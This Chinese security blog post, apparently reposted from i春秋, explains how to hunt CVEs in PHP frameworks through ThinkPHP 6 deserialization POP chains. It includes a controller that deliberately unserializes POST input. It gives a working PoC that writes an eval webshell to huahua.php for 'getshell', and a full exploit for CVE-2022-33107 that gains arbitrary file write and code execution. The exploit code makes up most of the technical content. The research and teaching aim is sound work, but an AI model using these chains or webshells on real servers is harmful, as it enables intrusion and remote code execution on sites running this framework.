术业有专攻-如何获取知名框架CVE-PHP篇①

本篇精选文章作者F10wers13eiCheng,本文属i春秋原创奖励计划,未经许可禁止转载。

原文链接:https://bbs.ichunqiu.com/thread-63565-1-1.html
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关


前言
这是《术业有专攻》系列第一篇文章,由于本人想学红队方向,所以此系列文章会涉及到web安全渗透测试,漏洞挖掘,代码审计,内网渗透,二进制、密码等等。并且每篇文章都会开启技术分享直播(定向邀请制,主要还是邀请一些刚入门的师傅来进行交流学习)

如何获取知名框架CVE-PHP篇

了解一下知名PHP框架有哪些?
25个常用的PHP框架 | 菲梵学习 Phifans.com |学习网络技术,电脑知识的专业网站 - PHIFANS.COM
这里选择利用ThinkPHP、Laravel进行讲解

ThinkPHP案例分享

既然要获取cve,就要先了解cve收取什么类型的漏洞,
CVE -Search Results
 


近几年的漏洞还是以POP Chains为主(如果把无条件RCE交到CVE,那就是大傻mao了,交一些无关紧要的Chains来水一水)
其中CVE-2022-33107是我交的一个cve
https://github.com/top-think/framework/issues/2717
但是这已经不重要了,我们要学会挖cve才行,于是直接下载最新版本的ThinkPHP,目前版本为ThinkPHP6.1.1
使用composer安装
GitHub - top-think/framework: ThinkPHP Framework
composer create-project topthink/think tp
废话不多说,直接上手艺

0x01 POP Chain First

先添加好入口点

<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
   public function index()
    {
        $cmd=$_POST['cmd'];
        unserialize($cmd);
        echo $cmd;
    }
}

先找到入口点重灾区__destruct,选择abstract class AbstractCache中的__destruct
 


由于是abstract class(PHP: 抽象类 - Manual)

所以还需要找一个子类来进行实例化,选择class Adapter
 


入口点已经找到,$this->autosave可控,直接进入$this->save();跟进查看
 


$contents通过$this->getForStorage();进行赋值,跟进进行查看
 


其中$cleaned通过$this->cleanContents($this->cache);进行赋值,跟进查看
 


进行了一些修改操作,但是只需要传入一个一维数组便可以直接返回。继续回到`$this->getForStorage()
 


返回了JSON ENCODE的数组,其中三个参数均可控,也就是第一次的$contents内容可控,只是数据类型
继续回到save()函数中
 


$this->adapter变量可控,也就是可以调用到任意类的has函数让其返回fasle,调用到下面的write函数,全局搜索拥有haswrite函数的类,这里利用class Local
同时具备这两个条件
 


 

其中has函数利用$this->applyPathPrefix($path);$location赋值,利用file_exists判断文件是否存在,applyPathPrefix()只是对文件进行了一些切片操作不再跟进查看,随便传入一个没有的文件让其返回false
接着进入到了write函数(此处调用Local类的write函数也是有要求的,注意看其中传入的三个参数),可以看到敏感函数file_put_contents,其中$this->applyPathPrefix$this->ensureDirectory对目录进行了一些切片操作,不再跟进查看,上面分析得出$contents可控。所以便可以直接写入文件
构造Poc

<?php
namespace League\Flysystem\Adapter;
class Local{}
namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Adapter\Local;
abstract class AbstractCache{
    protected $autosave;
    protected $cache = [];
}
class Adapter extends AbstractCache{
    protected $adapter;
    protected $file;
    function __construct(){
        $this->autosave=false;
        $this->adapter=new Local();
        $this->file='huahua.php';
        $this->cache=['huahua'=>'<?php eval($_GET[1]);?>'];
    }
}
$o = new Adapter();
echo urlencode(serialize($o));

?>


成功后,发送访问其huahua.php成功getshell

CVE-2022-33107案例讲解

0x01

环境配置(tp6只支持用composer安装) composer create-project topthink/think=6.0.12 tp612 添加反序列化入口

0x02 挖掘过程

@Morouu师傅的链子调用到了任意类的__call方法,并且可以传入一个可控的参数, 我们继续搜索__call函数看看还有没有其他利用点,定位到了Output类中的__call方法

满足$method$this->style中即可调用到自身的block()函数,跟进查看

调用了$this->writelen()并且$message参数可控,接着又调用了$this->write()函数($message参数可控),继续跟进。


这里调用到了任意类的write()方法,全局搜索write()方法 选择了League\Flysystem\File类中的write()方法,


这里同样可以调用到任意类的write()方法,并且可控参数变成了两个($content就是我们传入的$message),继续搜索write()方法,并且传入参数小于等于两个。 这里选择了think\session\driver\File类中的write()方法,


传入参数恰好是两个,绕过if条件,不压缩传入的payload,进入$this->writeFile()方法,并且两个参数全部可控,跟进查看,


直接执行了file_put_contents()任意文件写入,成功RCE

exp构造

接下来构造exp,利用@Morouu师傅的链子进行修改。 前面的链子不用动,从调用__call方法的链子进行修改, 首先调用think\console\__call方法,$this->style赋值['getDomainBind']进入block方法,
 


 


跟进write()方法,这里调用League\Flysystem\File类的write方法 ,将$this->handle赋值new League\Flysystem\File
 


这里调用think\session\driver\Filewrite()方法,将$this->filesystem赋值new think\session\driver\File
 


跟进$this->getFileName()函数,看看如何给$filename赋值,
 


$this->config['prefix']为空,进入if条件,只拼接sess_前缀,$this->config['path']也为空,写入根目录,然后return $filename,继续往下看
 


$this->config['data_compress']False不进入if条件进行数据压缩,跟进$this->writeFile($filename, $data);便直接写入。
 


构造完整exp

<?php  
namespace think\model\concern{  
    trait Attribute{  
        private $data = ['huahua']; 
    }  
}  

namespace think\view\driver{  
    class Php{}  
}
namespace think\session\driver{
    class File{

    }
}
namespace League\Flysystem{
    class File{
        protected $path;
        protected $filesystem;
        public function __construct($File){
            $this->path='huahua.php';
            $this->filesystem=$File;
        }
    }
}
namespace think\console{
    use League\Flysystem\File;
    class Output{
        protected $styles=[];
        private $handle;
        public function __construct($File){
            $this->styles[]='getDomainBind';
            $this->handle=new File($File);
        }
    }
}  
namespace think{  
    abstract class Model{  
        use model\concern\Attribute;  
        private $lazySave;  
        protected $withEvent;  
        protected $table;  
        function __construct($cmd,$File){  
            $this->lazySave = true;  
            $this->withEvent = false;  
            $this->table = new route\Url(new Middleware,new console\Output($File),$cmd);  
        }  
    }  
    class Middleware{  
        public $request = 2333;  
    }   
}  

namespace think\model{  
    use think\Model;  
    class Pivot extends Model{}   
}  

namespace think\route{  
    class Url  
    {  
        protected $url = 'a:';  
        protected $domain;  
        protected $app;  
        protected $route;  
        function __construct($app,$route,$cmd){  
            $this->domain = $cmd;  
            $this->app = $app;  
            $this->route = $route;  
        }  
    }  
}  

namespace{  
    echo urlencode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>',new think\session\driver\File)));  
}

成功写入

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值